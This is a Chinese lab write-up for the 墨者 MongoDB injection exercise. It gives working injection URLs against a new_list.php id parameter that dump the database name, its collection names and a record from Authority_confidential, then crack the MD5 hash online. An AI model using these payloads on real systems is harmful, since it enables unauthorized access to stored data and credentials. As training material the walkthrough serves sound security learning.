墨者 - SQL手工注入漏洞测试(MongoDB数据库)

Mongodb语法

    在做之前,先了解下相关语法。Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第1张图片

因为mongodb的数据储存方式:

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第2张图片

具体可以参考菜鸟教程:https://www.runoob.com/mongodb/mongodb-query.html

好,对数据结构有个简单了解后,开始进入题目

进入环境,单引号' 测试到注入点

 根据题目给出的代码墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第3张图片

 

 构造j简单的链接测试回显:/new_list.php?id=1'}); return ({title:1,content:'2

 

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第4张图片

 爆库:  /new_list.php?id=1'}); return ({title:tojson(db),content:'1

 

 

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1  查询有的集合(集合相当于mysql的表) 

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第5张图片

 爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

 db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第6张图片

 

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_第7张图片

 

MD5在线解密即可 

你可能感兴趣的:(墨者刷题笔记)